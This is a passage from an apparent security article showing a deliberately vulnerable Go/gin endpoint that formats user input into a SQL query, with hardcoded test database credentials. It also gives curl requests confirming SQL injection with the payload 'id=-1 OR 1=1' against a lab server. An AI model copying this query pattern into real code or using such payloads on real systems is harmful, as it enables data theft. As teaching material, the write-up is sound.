text
stringlengths
0
1.99k
type Phrase struct {
ID int `json:"id"`
Text string `json:"text"`
}
func phraseHandler(c *gin.Context) {
phrases := []Phrase{}
phrase_id := c.DefaultQuery("id", "1")
query := fmt.Sprintf(
"SELECT id, text FROM phrases WHERE id=%s",
phrase_id
)
rows, err := pool.Query(context.Background(), query)
defer rows.Close()
if err != nil {
c.JSON(
http.StatusInternalServerError,
gin.H{"error": err.Error()}
)
return
}
for rows.Next() {
var phrase Phrase
err := rows.Scan(&phrase.ID, &phrase.Text)
if err != nil {
c.JSON(
http.StatusInternalServerError,
gin.H{"error": err.Error()}
)
return
}
phrases = append(phrases, phrase)
}
c.JSON(http.StatusOK, phrases)
}
func main() {
pool, _ = pgxpool.Connect(
context.Background(),
"postgres://localhost/postgres?user=poc_user&password=poc_pass")
r := gin.Default()
r.GET("/phrases", phraseHandler)
r.Run(":8000")
defer pool.Close()
}
--------------------------------------------------------------------------
---[ 1.1 - A rather trivial injection
The actual injection happens inside the phraseHandler function on these
lines of code. The app directly formats the query parameter id into
the query string and calls the pool.Query() function. It couldn't be any
simpler, right?
--------------------------------------------------------------------------
phrase_id := c.DefaultQuery("id", "1")
query := fmt.Sprintf(
"SELECT id, text FROM phrases WHERE id=%s",
phrase_id
)
rows, err := pool.Query(context.Background(), query)
defer rows.Close()
--------------------------------------------------------------------------
The SQL injection can be quickly confirmed with these cURL requests:
--------------------------------------------------------------------------
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode "id=1"
[
{"id":1,"text":"Hello, world!"}
]
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode "id=-1"
[]
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode "id=-1 OR 1=1"
[
{"id":1,"text":"Hello, world!"},
{"id":2,"text":"A day in paradise."},
...
{"id":14,"text":"Find your inner peace."},
{"id":15,"text":"Dance in the rain"}
]
--------------------------------------------------------------------------
At this moment, our SQL query will look something like:
--------------------------------------------------------------------------
SELECT id, text FROM phrases WHERE id=-1 OR 1=1
--------------------------------------------------------------------------